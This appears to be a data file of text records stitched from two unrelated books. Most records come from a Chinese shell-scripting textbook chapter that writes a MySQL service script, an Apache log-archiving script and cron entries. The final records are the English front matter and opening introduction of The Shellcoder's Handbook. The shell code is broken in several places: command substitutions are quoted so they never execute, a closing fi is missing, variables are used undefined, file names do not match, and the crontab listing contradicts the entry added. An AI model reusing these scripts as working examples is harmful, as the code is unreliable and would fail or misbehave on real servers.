    {"text": "在上面的代码中，第2行使用圆点操作符执行/etc/rc.d/init.d/functions文件，该文件定义了服务脚本所需要的大部分的公共函数。 之所以使用圆点操作符，而不是直接执行，是因为这些函数需要在当前服务脚本后面的代码中使用到，故将/etc/rc.d/init.d/functions文件与当前服务脚本在同一个子Shell中执行。"},
    {"text": "这是一个非常好的习惯，因为后面可能有多处代码都用到了这些路径，如果路径发生改变，则只要修改变量的值就可以了，无需修改每处用到路径的代码。"},
    {"text": "第18～25行定义了启动服务的函数start()，其中第19行输出一行提示信息，第20行启动Apache服务进程，第21行通过系统变量$?获取第19行的命令的执行结果，并且将结果赋给变量RETVAL。"},
    {"text": "也就是说，如果用户传递了除start、stop、restart、condrestart等参数值以外的其他值，则输出一行提示信息，以告诉用户该服务脚本接受哪些参数值。"},
    {"text": "注意： 在15.1.2节中已经讲过，如果/etc/rc0.d～/etc/rc6.d等目录中的脚本的文件名以S开头，则系统在初始化的时候会自动传递start参数该脚本；"},
    {"text": "15.1.4 编写MySQL服务脚本 为了使读者更加深入理解服务脚本的编写方法，下面以MySQL服务器为例，来介绍如何从头编写一个服务脚本。 通常情况下，服务脚本的行数都比较多，所以下面我们分成几个部分来介绍MySQL服务脚本的编写。"},
    {"text": "这部分的代码如下： 01 #MySQL 服务主程序的路径 02 mysql=\"/usr/bin/mysqld_safe\" 03 04 #MySQL 管理工具路径 05 mysqladmin=\"/usr/bin/mysqladmin\" 06 07 # 定义获取 MySQL 选项的函数 08 get_mysql_option() 09 { 10 # 使用 my_print_defaults 命令输出各个选项 11 result='/usr/bin/my_print_defaults \"$1\" | sed -n \"s/^--$2=//p\" | tail -n 1' 12 # 如果文件不存在，则使用默认值 13 if [ -z \"$result\" ]; then 14 result=\"$3\" 15 fi 16 } 17 # 数据库文件路径 18 get_mysql_option mysqld datadir \"/var/lib/mysql\" 19 20 datadir=\"$result\" 21 22 #Socket 文件路径 23 get_mysql_option mysqld socket \"$datadir/mysql.sock\" 24 socketfile=\"$result\" 25 26 # 日志文件路径 27 get_mysql_option mysqld_safe log-error \"/var/log/mysqld.log\" 28 errlogfile=\"$result\" 29 30 # 进程 ID 文件路径 31 get_mysql_option mysqld_safe pid-file \"/var/run/mysqld/mysqld.pid\" 32 mypidfile=\"$result\" 在上面的代码中，第2行定义了MySQL主程序的路径，如果用户的路径与此不同，可以根据自己的实际情况进行修改。"},
    {"text": "第11行是一条比较复杂的语句，首先使用my_print_defaults命令输出MySQL的选项值。 my_print_defaults是MySQL自带的一个工具，该工具可以输出MySQL配置文件中的各个选项的值。 例如，下面的命令输出my.cnf文件中的mysqld组的选项的值： [root@linux init.d]# my_print_defaults mysqld --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --user=mysql --symbolic-links=0 在第11行中，my_print_defaults命令的参数通过位置变量$1获取。"},
    {"text": "由于MySQL允许用户在my.cnf配置文件中重复指定某个选项，但是只有最后指定的选项才会生效，所以还需要将sed命令的输出结果传递给tail命令，其中-n 1表示只输出最后一行文本。 第13～15行是处理某个选项在my.cnf配置文件中不存在的情况，此时，get_mysql_option()函数将返回用户指定的第3个参数值。 第18行通过get_mysql_option()函数获取数据库文件的路径，传递给get_mysql_option()函数的参数值分别为mysqld、datadir和/var/lib/mysql。 其中mysqld表示在my.cnf文件中，数据库文件的选项位于mysqld这一组中。 datadir表示在my.cnf文件中，数据库文件的选项名称为datadir。 /var/lib/mysql表示如果在my.cnf文件中没有关于数据库文件的选项，则使用/var/lib/mysql作为数据库文件的路径。"},
    {"text": "2．定义状态处理函数 接下来再介绍服务脚本中的关键部分，即处理各种操作的函数。 实际上，服务脚本的状态操作有许多种，但是其实现方法大同小异，所以下面只给出了3个最常用的函数的定义方法，即start()函数、stop()函数和restart()函数。"},
    {"text": "函数定义的具体代码如下： 01 # 服务启动函数 02 start(){ 03 # 如果程序不可执行，则直接退出 04 [ -x $mysql ] || exit 5 05 # 判断服务进程是否存在 06 /usr/bin/mysqladmin --socket=\"$socketfile\" --user=mysql ping 2>&1 07 if [ $? = 0 ]; then 08 echo \"mysql has been already running.\" 09 ret=0 10 else 11 if [ ! -d \"$datadir/mysql\" ] ; then 12 echo \"mysql database does not exists.\" 13 exit 1 14 fi 15 16 $mysql --datadir=\"$datadir\" --socket=\"$socketfile\" --pid-file=\"$mypidfile\" --basedir=/usr --user=mysql >/dev/null 2>&1 & 17 18 ret=$? 19 20 if [ $ret -eq 0 ]; then 21 touch $lockfile 22 else 23 echo \"starting mysql failed.\" 24 fi 25 fi 26 return $ret 27 } 28 29 stop(){ 30 # 如果进程文件不存在，则直接退出 31 if [ ! -f \"$mypidfile\" ]; then 32 echo \"mysql is not running.\" 33 return 0 34 fi 35 # 从进程文件中获取进程 ID 36 mysqlpid='cat \"$mypidfile\"' 37 # 如果进程 ID 为整数，则调用 mysqladmin 停止 mysql 服务 38 if [ -n \"$mysqlpid\" ]; then 39 $mysqladmin --socket=\"$socketfile\" --user=root shutdown 40 41 ret=$? 42 # 如果停止成功，则删除锁定文件和 Socket 文件 43 if [ $ret -eq 0 ]; then 44 rm -f $lockfile 45 rm -f \"$socketfile\" 46 echo \"mysql stopped.\" 47 ret=0 48 else 49 echo \"stopping mysql failed.\" 50 ret=1 51 fi 52 53 return $ret 54 } 55 56 restart(){ 57 stop 58 start 59 } 在上面的代码中，第2～27行定义了start()函数，该函数的功能是启动MySQL服务。 第4行判断变量mysql表示的MySQL主程序是否存在并且可以执行，如果不存在或者不可执行，则直接退出。 第6行使用mysqladmin命令判断MySQL服务进程是否已经存在。"},
    {"text": "第11～14行判断MySQL的系统数据库mysql是否存在，如果不存在，则直接退出程序。 第16行执行MySQL主程序，第20～23行根据第16行的返回状态码执行相应的操作。"},
    {"text": "第56～59行定义了restart()函数，该函数的功能是重新启动MySQL服务。 其代码比较简单，首先调用前面定义的stop()函数停止MySQL服务，然后再调用start()函数启动MySQL服务。"},
    {"text": "与上面定义的函数相对应，此处只处理了4个参数的情况，具体代码如下： 01 # 根据参数值执行相应的操作 02 case \"$1\" in 03 # 启动服务 04 start) 05 start 06 ;; 07 # 停止服务 08 stop) 09 stop 10 ;; 11 # 查看状态 12 status) 13 re='pidof \"$procname\"' 14 15 if [ \"$re\" -gt 0 ]; then 16 echo \"mysql is running.\" 17 else 18 echo \"mysql is not running.\" 19 fi 20 ;; 21 # 重新启动 22 restart) 23 restart 24 ;; 25 *) 26 echo $\"Usage: $0 {start|stop|status|restart}\" 27 exit 2 28 esac 29 30 exit $? 在上面的代码中，第4行是用户传入start参数值的情况，此时需要调用start()函数。"},
    {"text": "第12行是用户传入status参数值的情况，此时通过pidof函数来判断指定的进程是否存在，如果pidof命令的返回值大于0，表示指定的进程存在；"},
    {"text": "以上整个程序的代码请参见本书所配光盘中的chapter15目录中的mysql文件，具体代码如下： 001 #-----------------------------/chapter15/mysql------------------ 002 #!/bin/sh 003 # 004 # MySQL 服务脚本 005 # 指定运行级别以及优先级 006 # chkconfig: - 64 36 007 # description: MySQL database server. 008 009 #MySQL 服务主程序的路径 010 mysql=\"/usr/bin/mysqld_safe\" 011 012 #MySQL 管理工具路径 013 mysqladmin=\"/usr/bin/mysqladmin\" 014 015 # 定义获取 MySQL 选项的函数 016 get_mysql_option() 017 { 018 # 使用 my_print_defaults 命令输出各个选项 019 result='/usr/bin/my_print_defaults \"$1\" | sed -n \"s/^--$2=//p\" | tail -n 1' 020 # 如果文件不存在，则使用默认值 021 if [ -z \"$result\" ]; then 022 result=\"$3\" 023 fi 024 } 025 # 数据库文件路径 026 get_mysql_option mysqld datadir \"/var/lib/mysql\" 027 028 datadir=\"$result\" 029 030 #Socket 文件路径 031 get_mysql_option mysqld socket \"$datadir/mysql.sock\" 032 socketfile=\"$result\" 033 034 # 日志文件路径 035 get_mysql_option mysqld_safe log-error \"/var/log/mysqld.log\" 036 errlogfile=\"$result\" 037 038 # 进程 ID 文件路径 039 get_mysql_option mysqld_safe pid-file \"/var/run/mysqld/mysqld.pid\" 040 mypidfile=\"$result\" 041 042 # 服务启动函数 043 start(){ 044 # 如果程序不可执行，则直接退出 045 [ -x $mysql ] || exit 5 046 # 判断服务进程是否存在 047 /usr/bin/mysqladmin --socket=\"$socketfile\" --user=mysql ping 2>&1 048 if [ $? = 0 ]; then 049 echo \"mysql has been already running.\" 050 ret=0 051 else 052 if [ ! -d \"$datadir/mysql\" ] ; then 053 echo \"mysql database does not exists.\" 054 exit 1 055 fi 056 057 $mysql --datadir=\"$datadir\" --socket=\"$socketfile\" --pid-file= \"$mypidfile\" --basedir=/usr --user=mysql >/dev/null 2>&1 & 058 059 ret=$? 060 061 if [ $ret -eq 0 ]; then 062 touch $lockfile 063 else 064 echo \"starting mysql failed.\" 065 fi 066 fi 067 return $ret 068 } 069 070 stop(){ 071 # 如果进程文件不存在，则直接退出 072 if [ ! -f \"$mypidfile\" ]; then 073 echo \"mysql is not running.\" 074 return 0 075 fi 076 # 从进程文件中获取进程 ID 077 mysqlpid='cat \"$mypidfile\"' 078 # 如果进程 ID 为整数，则调用 mysqladmin 停止 mysql 服务 079 if [ -n \"$mysqlpid\" ]; then 080 $mysqladmin --socket=\"$socketfile\" --user=root shutdown 081 082 ret=$? 083 # 如果停止成功，则删除锁定文件和 Socket 文件 084 if [ $ret -eq 0 ]; then 085 rm -f $lockfile 086 rm -f \"$socketfile\" 087 echo \"mysql stopped.\" 088 ret=0 089 else 090 echo \"stopping mysql failed.\" 091 ret=1 092 fi 093 094 return $ret 095 } 096 097 restart(){ 098 stop 099 start 100 } 101 102 # 根据参数值执行相应的操作 103 case \"$1\" in 104 # 启动服务 105 start) 106 start 107 ;; 108 # 停止服务 109 stop) 110 stop 111 ;; 112 # 查看状态 113 status) 114 if [ -n pidof \"$procname\" ]; then 115 echo \"mysql is running.\" 116 fi 117 ;; 118 # 重新启动 119 restart) 120 restart 121 ;; 122 *) 123 echo $\"Usage: $0 {start|stop|status|restart}\" 124 exit 2 125 esac 126 127 exit $? 在上面的代码中，第6行需要特别说明一下。"},
    {"text": "如果只想在某些运行级别下面执行，则可以直接用数字指定，例如： # chkconfig: 345 64 36 表示当前脚本可以在3、4和5这3个运行级别下面运行。"},
    {"text": "当整个mysql脚本都编写完成之后，将其复制到/etc/init.d目录中，并且赋予可执行权限，命令如下： [root@linux chapter15]# cp mysql /etc/init.d/ [root@linux chapter15]# chmod +x /etc/init.d/mysqld 接下来使用chkconfig命令更新系统服务，如下所示： [root@linux chapter15]# chkconfig mysql on 最后，用户就可以使用service命令来启动、停止或者查看运行状态了，代码如下： [root@linux chapter15]# service mysql start [root@linux chapter15]# service mysql status mysql is running. [root@linux chapter15]# service mysql stop mysql stopped. 注意： 为了使系统初始化的时候可以启动MySQL服务，需要使用chkconfig命令将新编写的服务脚本添加到系统服务中。"},
    {"text": "15.2.1 Apache以及日志文件简介 Apache是目前世界上最为流行的Web服务器之一，特别是最热门和访问量大的网站，都几乎无一例外地采用了Apache作为网站的服务器软件。 Apache是由美国Apache软件基金会管理的一个开放源码的应用软件，可以在绝大部分的操作系统中运行，包括UNIX、Linux以及Windows等。"},
    {"text": "日志记录了服务器的活动、性能，以及出现的问题，在出现故障的时候，借助日志可以快速地发现原因所在，从而在最短的时间内解决问题。 Apache服务器提供了非常全面而灵活的日志记录功能，主要包括两种日志类型，分别为错误日志和访问日志。"},
    {"text": "错误日志是最重要的日志文件，其文件名和位置取决于Apache的配置文件httpd.conf中的ErrorLog指令，绝大部分情况下，错误日志的名称为error_log或者error.log位于/var/log/httpd/目录中。 Apache服务器将有关诊断和请求处理中出现的错误信息都存到这个错误日志中，所以如果服务器启动或者运行中出现问题，则用户首先应该查看错误日志，以了解具体的原因。 注意： 在UNIX或者Linux中，错误日志的名称通常为error_log，而在Windows中，错误日志的名称通常为error.log。 为了便于帮助用户了解故障原因，错误日志中对于每条日志，都有一些描述信息，如下： [root@linux ~]# more /var/log/httpd/360zippo.com-error_log-20130414 [Sun Apr 07 05:11:04 2013] [error] [client 183.62.115.227] File does not exist: /data1/www/js/js, referer: http://www.360zippo.com/ [Sun Apr 07 05:11:04 2013] [error] [client 183.62.115.227] File does not exist: /data1/www/js/js, referer: http://www.360zippo.com/ … 从上面的内容可以得知，每一条错误日志通常包括错误发生的日期和时间、严重性、导致错误的IP地址，以及具体的原因。"},
    {"text": "访问日志记录了Apache服务器处理的所有的请求，其文件名和位置取决于httpd.conf文件中的CustomLog指令。 通常情况下，访问日志位于/var/log/httpd/目录中，其文件名为access_log或者access.og。 访问日志的格式非常灵活，通常情况下包括客户端的IP地址、请求时间和日期、请求的URL，以及状态等，如下： [root@linux httpd]# more 360zippo.com-access_log 123.125.68.154 - - [28/Apr/2013:03:42:55 +0800] \"GET /category-26-b0.html HTTP/1.1\" 200 5457 42.62.37.107 - - [28/Apr/2013:03:43:02 +0800] \"GET /brand-12-c0- 3-shop_price-ASC.html HTTP/1.0\" 200 6268 42.62.37.107 - - [28/Apr/2013:03:46:10 +0800] \"GET /gallery.php?id= 115&img=297 HTTP/1.0\" 200 867 42.62.37.107 - - [28/Apr/2013:03:46:38 +0800] \"GET /user.php?act= affiliate&goodsid=98 HTTP/1.0\" 200 3846 42.62.37.107 - - [28/Apr/2013:03:47:10 +0800] \"GET /gallery.php?id= 75&img=216 HTTP/1.0\" 200 881 42.62.37.107 - - [28/Apr/2013:03:50:36 +0800] \"GET /gallery.php?id= 116&img=305 HTTP/1.0\" 200 879 通过上面的输出结果，可以得知每条访问日志通常包括客户端的IP地址、客户端的身份、客户端的标识、服务器完成请求处理时的时间、客户端请求资源的方法、资源URL、返回状态码，以及资源的大小等。"},
    {"text": "所以，必须采用适当的手段定期清理这些日志。 但是这些日志又是系统管理员进行故障处理的重要依据，所以不可以将其简单地删除，而应定期地将其压缩归档，并且转移到其他存储设备上。"},
    {"text": "按照惯例，备份文件的名称一般是以备份的时间命名的。 这样做有两个好处，其一是通过文件名就可以知道当前备份创建的时间，其二是文件名不会出现重名的情况。 正因为以备份日期命名有着非常大的便利性，所以在本例中专门编写一个函数来生成文件名称。 生成备份归档文件名的函数如下： 01 # 该函数生成文件名 02 function filename() 03 { 04 # 生成时间戳字符串 05 timestamp=$(date +%Y%m%d%H%M%S) 06 # 输出完整的文件名 07 echo \"$1\".$timestamp.\"tar\" 08 } 在上面的代码中，第2行是函数定义的开头，其中函数名为filename()。"},
    {"text": "其中date命令的语法需要特别说明一下： date +%Y%m%d%H%M%S 字符串+%Y%m%d%H%M%S为date命令输出结果的格式说明，其中%Y表示4位数字的年份，%m表示两位数字的月份，%d表示两位数字的日，%H表示24小时制的小时，%M表示两位数字的分钟，%S表示两位数字的秒数。"},
    {"text": "用户可在Shell程序中使用以下方法获取函数生成的文件名： file='filename httpd_log' 生成的文件名的格式如下： httpd_log.20130430012016.tar 15.2.3 过期日志备份归档函数 在编写完成归档文件名生成函数之后，接下来就要编写一个函数来将旧的日志文件进行归档。 归档函数的功能是查找日志目录中前一天生成的日志文件，然后通过tar命令将其归档。"},
    {"text": "归档函数的代码如下： 01 # 日志归档函数 02 function archivelog() 03 { 04 # 生成归档文件名 05 archivefile='filename httpd_log' 06 07 # 获取存储归档日志的目录 08 archivedest=$1 09 10 # 如果目标目录不存在，则创建该目录 11 if [ ! -d archivedest ];then 12 mkdir -p $archivedest 13 fi 14 15 # 进入日志文件所在的目录 16 cd /var/log/httpd 17 18 # 查找 1 天前的日志文件，并且进行归档 19 find . -mtime +1 -exec tar -rf $archivedest$archivefile {} \\; 20 21 # 将归档日志压缩 22 zip $archivedest$archivefile\".zip\" $archivedest$archivefile 23 24 # 压缩成功后删除压缩前的归档日志 25 if [ \"$?\" -eq 0 ] 26 then 27 rm -f $archivedest$archivefile 28 fi 29 30 return $? 31 } 在上面的代码中，第5行通过前面定义的归档文件名生成函数生成一个文件名。"},
    {"text": "如果目标路径不存在，则在第11～13行使用mkdir命令创建。 在第12行中，mkdir命令使用了-p选项，其原因为目标路径通常会由多层目录构成，如果路径中的某层目录不存在，则使用-p选项之后，mkdir命令会依次创建各层目录。"},
    {"text": "第16行通过cd命令将当前工作目录切换到Apache的日志文件所在的目录，便于后面使用tar命令时用相对路径表示要归档的文件。 注意： 在默认情况下，tar命令在归档的时候会去掉文件名最前面的根目录符号，从而使档案中的文件使用相对路径表示。"},
    {"text": "-exec表示对搜索到的文件执行后面指定的操作，即使用tar命令归档。 在tar命令中，我们使用了-rf选项，其中-r选项表示将文件追加到已有档案中，-f选项表示后面紧跟的是档案的文件名。"},
    {"text": "15.2.4 过期日志删除函数 当所有的过期日志都已经成功备份之后，就可以将其从磁盘中删除，以释放被占用的磁盘空间。 过期日志删除函数比较简单，其代码如下： 01 # 删除已经归档的过期日志文件 02 function removearchivedlog() 03 { 04 cd /var/log/httpd 05 # 查找 1 天前生成的日志文件，并且将其删除 06 find . -mtime +1 -exec rm -f $archivedest$archivefile {} \\; 07 } 其中，起主要作用的是第6行的find语句，将搜索到的文件传递给rm命令。"},
    {"text": "主程序的代码比较简单，如下： 01 # 将过期日志归档 02 archivelog \"/root/chapter15/\" 03 04 # 删除已归档日志 05 if [ \"$?\" -eq 0 ] 06 then 07 removearchivedlog 08 fi 09 10 exit 0 第2行调用archivelog()函数将过期日志备份到/root/chapter15/路径下面，第7行将归档后的过期日志删除。 本例完整的代码如下： 01 #------------------------/chapter15/archivelog.sh------------------ 02 #! /bin/bash 03 04 # 归档文件名生成函数 05 function filename() 06 { 07 timestamp=$(date +%Y%m%d%H%M%S) 08 echo \"$1\".$timestamp.\"tar\" 09 } 10 # 过期日志归档函数 11 function archivelog() 12 { 13 archivefile='filename httpd_log' 14 15 archivedest=$1 16 17 if [ ! -d archivedest ];then 18 mkdir -p $archivedest 19 fi 20 21 cd /var/log/httpd 22 23 find . -mtime +1 -exec tar -rf $archivedest$archivefile {} \\; 24 25 zip $archivedest$archivefile\".zip\" $archivedest$archivefile 26 27 if [ \"$?\" -eq 0 ] 28 then 29 rm -f $archivedest$archivefile 30 fi 31 32 return $? 33 } 34 35 # 已归档日志删除函数 36 function removearchivedlog() 37 { 38 cd /var/log/httpd 39 40 find . -mtime +1 -exec rm -f $archivedest$archivefile {} \\; 41 } 42 43 # 将过期日志归档 44 archivelog \"/root/chapter15/\" 45 46 # 删除已归档日志 47 if [ \"$?\" -eq 0 ] 48 then 49 removearchivedlog 50 fi 51 52 exit 0 15.2.6 定时运行日志归档脚本 要实现Apache日志的完全自动化管理，必须定时运行上面创建的归档脚本。"},
    {"text": "sleep命令可以使脚本进程暂时休眠指定的时间间隔，到期之后进程会重新开始执行。 要使用sleep命令实现脚本的定义执行，需要将前面的主程序进行修改，将第43～50行放在一个循环结构中，如下： 01 # 无限循环 02 while true 03 do 04 # 归档过期日志 05 archivelog \"/root/chapter15/\" 06 07 if [ \"$?\" -eq 0 ] 08 then 09 # 删除过期日志 10 removearchivedlog 11 fi 12 # 休眠 1 天 13 sleep 86400 14 done 为了使得归档操作能够不断地重复执行，将archivelog()和removearchivedlog()这两个函数的调用都放在了一个无限循环结构中。 第13行使用sleep命令使进程每天执行一次，其中sleep命令以秒为单位。"},
    {"text": "Windows的任务计划程序如图15-2所示。 图15-2 Windows任务计划程序 通过任务计划，用户可以实现在每天、每周或者每月重复执行某任务，例如系统备份或者发送电子邮件等。"},
    {"text": "cron工具主要包括3个组成部分，分别为crontab文件、crontab命令，以及crond守护进程。 crontab文件记录了用户的任务计划列表，用户可以通过crontab命令来管理crontab文件中的任务计划列表，crond进程是cron工具的服务进程，该进程会读取crontab文件中的任务计划并且定期执行。 2．crontab文件及其基本语法 crontab文件包含需要提交给crond守护进程的一系列任务计划。"},
    {"text": "全局crontab文件只能由系统管理员来管理，其文件名通常为/etc/crontab； 而每个用户的crontab文件则可以由每个用户管理，通常位于/var/spool/cron目录中，其文件名为每个用户的登录名。"},
    {"text": "每一行均遵循特定的语法格式，一般包含6个字段，其中前5个字段描述任务计划执行时间，第6个字段描述任务计划中需要执行的命令，字段之间通过空格或者制表符隔开。"},
    {"text": "下面给出的是PostgresSQL数据库的服务账户postgres的crontab文件的内容： [root@linux cron]# more /var/spool/cron/postgres */5 * * * * /var/lib/pgsql/scripts/auto_archive_log.sh 图15-3描述了crontab文件中任务计划的各个字段的涵义及其取值范围。"},
    {"text": "图15-3 crontab文件中任务计划的字段 分钟：描述任务计划被执行时的分钟数，其取值范围为0～59，例如取值为0时表示整点执行。 小时：描述任务计划被执行时的小时数，其取值范围为0～23，例如取值为0时表示0点执行作业。 日：描述任务计划在每个月的哪天执行，其取值范围为1～31，例如取值为1时表示每个月的第1天执行作业。 月：描述任务计划在哪个月执行，其取值范围为1～12，例如取值为12时表示每年的12月份执行作业。 周：描述任务计划在每周的第几天执行，其取值范围为0～7，其中0和7都表示星期天，其余1～6分别表示星期一至星期六。 例如取值为0或者7表示将在每个星期日执行作业。"},
    {"text": "3．显示用户的任务计划列表 用户可以通过crontab -l命令来列出每个用户的任务列表。 在默认情况下，crontab命令只列出当前用户的任务清单，如下： [root@linux chapter15]# crontab -l 1 1 * * * /backup.sh */4 1 * * * /sendemail.sh 作为系统管理员，root用户可以查看其他所有用户的任务计划列表。"},
    {"text": "此时，需要使用-u选项来指定用户，如下： [root@linux ~]# crontab -l -u postgres */5 * * * * /var/lib/pgsql/scripts/auto_archive_log.sh crontab-l命令会读取/var/spool/cron目录中的以用户登录名命名的文件的内容，然后将其输出。"},
    {"text": "4．编辑用户的任务计划列表 用户可以使用含有-e选项的crontab命令来编辑某个用户的任务计划列表，其中，用户名需要使用-u选项指定。 在默认情况下，crontab命令修改的是当前用户的任务计划列表。 注意： 如果无意中输入了无选项的crontab命令，请使用Ctrl+C组合键或者q命令退出编辑器，此时编辑器不会保存修改。"},
    {"text": "例如，下面的命令修改root用户的任务计划列表，将前面创建的Apache日志归档脚本添加进去： [root@linux chapter15]# crontab -e 当输入以上命令并且按回车键之后，会出现一个全屏的编辑器窗口。"},
    {"text": "进入编辑模式后，在文件的末尾追加一行： 0 0 * * * /root/chapter15/archivelog.sh 以上语句表示每天的0时0分执行一次/root/chapter15/archivelog.sh脚本。"},
    {"text": "输入完成之后，切换到命令模式，输入以下命令保存并退出编辑器： :wq 如果保存成功，Shell会给出以下提示信息： \"/tmp/crontab.WFJCBU\" 1L, 40C written crontab: installing new crontab 以上信息告诉用户，已经成功地安装了新的任务计划。"},
    {"text": "添加完成之后，用户可以使用crontab-l命令查看计划列表，如下： [root@linux log]# crontab -l 0 * * * * /root/chapter15/archivelog.sh 通过上面的输出结果，可以确认Apache日志归档脚本已经成功地添加到了crontab文件中。"},
    {"text": "本章的重点在于使读者掌握根据自己的实际需要，来编写复杂脚本文件的方法。 尽管本书介绍的是Shell编程，但是读者不应该仅仅局限于脚本本身。"},
    {"text": "Cover Page Title Page Copyright The Shellcoder’s Handbook, Second Edition: Discovering and Exploiting Security Holes Published by Wiley Publishing, Inc. 10475 Crosspoint Boulevard Indianapolis, IN 46256 http://www.wiley.com Copyright © 2007 by Chris Anley, John Heasman, Felix “FX” Lindner, and Gerardo Richarte Published by Wiley Publishing, Inc., Indianapolis, Indiana Published simultaneously in Canada ISBN: 978-0-470-08023-8 Manufactured in the United States of America 10 9 8 7 6 5 4 3 2 1 No part of this publication may be reproduced, stored in a retrieval system or transmitted in any form or by any means, electronic, mechanical, photocopying, recording, scanning or otherwise, except as permitted under Sections 107 or 108 of the 1976 United States Copyright Act, without either the prior written permission of the Publisher, or authorization through payment of the appropriate per-copy fee to the Copyright Clearance Center, 222 Rosewood Drive, Danvers, MA 01923, (978) 750-8400, fax (978) 646-8600. Requests to the Publisher for permission should be addressed to the Legal Department, Wiley Publishing, Inc., 10475 Crosspoint Blvd., Indianapolis, IN 46256, (317) 572-3447, fax (317) 572-4355, or online at http://www.wiley.com/go/permissions . Limit of Liability/Disclaimer of Warranty: The publisher and the author make no representations or warranties with respect to the accuracy or completeness of the contents of this work and specifically disclaim all warranties, including without limitation warranties of fitness for a particular purpose. No warranty may be created or extended by sales or promotional materials. The advice and strategies contained herein may not be suitable for every situation. This work is sold with the understanding that the publisher is not engaged in rendering legal, accounting, or other professional services. If professional assistance is required, the services of a competent professional person should be sought. Neither the publisher nor the author shall be liable for damages arising herefrom. The fact that an organization or Website is referred to in this work as a citation and/or a potential source of further information does not mean that the author or the publisher endorses the information the organization or Website may provide or recommendations it may make. Further, readers should be aware that Internet Websites listed in this work may have changed or disappeared between when this work was written and when it is read. For general information on our other products and services or to obtain technical support, please contact our Customer Care Department within the U.S. at (800) 762-2974, outside the U.S. at (317) 572-3993 or fax (317) 572-4002. Library of Congress Cataloging-in-Publication Data The shellcoder’s handbook : discovering and exploiting security holes / Chris Anley ... [et al.]. — 2nd ed. p. cm. ISBN 978-0-470-08023-8 (paper/website) 1. Computer security. 2. Data protection. 3. Risk assessment. I. Anley, Chris. QA76.9.A25S464 2007 005.8 — dc22 2007021079 Trademarks: Wiley and the Wiley logo are trademarks or registered trademarks of John Wiley & Sons, Inc. and/or its affiliates, in the United States and other countries, and may not be used without written permission. All other trademarks are the property of their respective owners. Wiley Publishing, Inc., is not associated with any product or vendor mentioned in this book. Wiley also publishes its books in a variety of electronic formats. Some content that appears in print may not be available in electronic books. Dedication This book is dedicated to anyone and everyone who understands that hacking and learning is a way to live your life, not a day job or semi-ordered list of instructions found in a thick book. About the Authors About the Authors Chris Anley is a founder and director of NGSSoftware, a security software, consultancy, and research company based in London, England. He is actively involved in vulnerability research and has discovered security flaws in a wide variety of platforms including Microsoft Windows, Oracle, SQL Server, IBM DB2, Sybase ASE, MySQL, and PGP. John Heasman is the Director of Research at NGSSoftware. He is a prolific security researcher and has published many security advisories in enterprise level software. He has a particular interest in rootkits and has authored papers on malware persistence via device firmware and the BIOS. He is also a co-author of The Database Hacker’s Handbook: Defending Database Servers (Wiley 2005). Felix “FX” Lindner leads Recurity Labs GmbH, a Berlin-based professional consulting company specializing in security analysis, system design creation, and verification work. Felix looks back at 18 years of programming and over a decade of computer security consulting for enterprise, carrier, and software vendor clients. This experience allows him to rapidly dive into complex systems and evaluate them from a security and robustness point of view, even in atypical scenarios and on arcane platforms. In his spare time, FX works with his friends from the Phenoelit hacking group on different topics, which have included Cisco IOS, SAP, HP printers, and RIM BlackBerry in the past. Gerardo Richarte has been doing reverse engineering and exploit development for more than 15 years non-stop. In the past 10 years he helped build the technical arm of Core Security Technologies, where he works today. His current duties include developing exploits for Core IMPACT, researching new exploitation techniques and other low-level subjects, helping other exploit writers when things get hairy, and teaching internal and external classes on assembly and exploit writing. As result of his research and as a humble thank you to the community, he has published some technical papers and open source projects, presented in a few conferences, and released part of his training material. He really enjoys solving tough problems and reverse engineering any piece of code that falls in his reach just for the fun of doing it."},
    {"text": "Credits Credits Executive Editor Carol Long Senior Development Editor Kevin Kent Production Editor Eric Charbonneau Project Coordinator, Cover Adrienne Martinez Copy Editor Kim Cofer Editorial Manager Mary Beth Wakefield Production Manager Tim Tate Vice President and Executive Group Publisher Richard Swadley Vice President and Executive Publisher Joseph B. Wikert Compositor Craig Johnson, Happenstance Type-O-Rama Proofreader Jen Larsen Indexer Johnna VanHoose Dinse Anniversary Logo Design Richard Pacifico Acknowledgments Acknowledgments I would first like to thank all of the people that have made this book possible — the (many) authors, of course: Gerardo Richarte, Felix “FX” Lindner, John Heasman, Jack Koziol, David Litchfield, Dave Aitel, Sinan Eren, Neel Mehta, and Riley Hassell. Huge thanks are also due to the team at Wiley — our excellent Executive Editor Carol Long and our equally excellent Development Editor Kevin Kent. On a personal note I’d like to thank the team at NGS for a great many hangovers, technical discussions, hangovers, ideas, and hangovers. Finally, I’d like to thank my wife Victoria for her enduring patience, love, and gorgeousness. — Chris Anley I would like to thank my friends and family for their unwavering support. — John Heasman I would like to thank my friends from Phenoelit, who are still with me despite the turns and detours life takes and despite the strange ideas I have, technical and otherwise. Special thanks in this context go to Mumpi, who is a very good friend and my invaluable support in all kinds of activities. Additional thanks and kudos go to the Recurity Labs team as well as to Halvar Flake, who is responsible for the existence of this team in the first place. Last but not least, I thank Bine for enduring me on a daily basis. — Felix “FX” Lindner I want to thank those in the community who share what excites them, their ideas and findings, especially the amazing people at Core, past and present, and my pals in the exploit writing team with whom the sudden discovery never ends — it is quite often simple and enlightening. I also want to thank Chris and John (co-authors) and Kevin Kent from Wiley Publishing, who all took the time to go through my entangled English, turning it more than just readable. And I want to thank Chinchin, my love, who’s always by my side, asking me questions when I need them, listening when I talk or am quiet, and supporting me, always. — Gerardo Richarte"},
    {"text": "Introduction to the Second Edition Introduction to the Second Edition Wherever terms have a shifting meaning, independent sets of considerations are liable to become complicated together, and reasonings and results are frequently falsified. — Ada Augusta, Countess of Lovelace, from her notes on “Sketch of The Analytical Engine,” 1842 You have in your hands The Shellcoder’s Handbook Second Edition: Discovering and Exploiting Security Holes . The first edition of this volume attempted to show the reader how security vulnerabilities are discovered and exploited, and this edition holds fast to that same objective. If you’re a skilled network auditor, software developer, or sysadmin and you want to understand how bugs are found and how exploits work at the lowest level, you’ve come to the right place. So what’s this book about? Well, the preceding quotation more or less sums it up. This book is mostly concerned with arbitrary code execution vulnerabilities, by which we mean bugs, that allow attackers to run code of their choice on the target machine. This generally happens when a program interprets a piece of data as a part of the program — part of an http “Host” header becomes a return address, part of an email address becomes a function pointer, and so on. The program ends up executing the data the attacker supplied with disastrous effects. The architecture of modern processors, operating systems, and compilers lends itself toward this kind of problem — as the good Countess wrote, “the symbols of operation are frequently also the symbols of the results of operations.” Of course, she was writing about the difficulty of discussing mathematics when the number “5” might also mean “raised to the power of 5” or “the fifth element of a series,” but the basic idea is the same. If you confuse code and data, you’re in a world of trouble. So, this book is about code and data, and what happens when the two become confused. This subject area has become much more complicated since the first edition of this volume 